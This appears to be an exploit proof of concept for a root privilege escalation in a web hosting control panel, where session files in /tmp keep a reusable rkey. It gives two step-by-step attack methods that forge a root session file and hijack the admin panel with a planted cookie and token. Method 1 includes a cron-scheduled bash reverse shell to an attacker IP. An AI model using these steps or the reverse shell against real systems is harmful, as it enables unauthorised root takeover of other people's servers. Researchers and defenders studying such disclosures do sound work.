# ====================================================================
# Root course of the vulnerability
# ====================================================================
1. The session file are store at /tmp directory
2. rkey value in the session file dose not change when access by the same source IP address
# ====================================================================
# Steps to Reproduce
# ====================================================================
Session prepareation state
1. Check the current IP address of attacker
2. Set the IP address on testing environment network
3. Login as root on port 2031/2087 and save the cookie name from web browser (cwsrp-xxxxxxxxxxxxxxxxxxxxx)
4. Copy the content of session file (/tmp/sess_xxxxxxxxxxxxxx) to a new file "sess_123456" # we need "rkey"
5. Save the token value from the session file (cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)
* rkey is created from client ip, then do not change client ip when attack the real target
Attack state
#
# Method 1 Uploading via reverse shell
#
1. Go to crontab and set "bash -i >& /dev/tcp/[Attacker-IP]/8000 0>&1"
2. Create session file through reverse shell
echo "username|s:4:\"root\";logged|b:1;rkey|s:20:\"[RKEY]\";token|s:36:\"[TOKEN-KEY]\";" > /tmp/sess_123456
3. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php
4. Change file permission "chmod 664 /tmp/sess_123456"
5. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456)
6. Open the URL and become the root user
#
# Method 2 Uploading via File manager function
#
1. On the real target, login as a normal user on port 2083 and upload file "sess_123456" to /tmp directory and set permission to 644 (chmod 664 /tmp/sess_123456) via crontab feature
2. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php
3. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456)
4. Open the URL and become the root user
*From step 1 - 4 need doing it quickly. if we do it too slow, the application will change the permission of file sess_123456 to 600, and the file will become 0 byte. If this happened, attacker need to change session file name and repeat the steps again
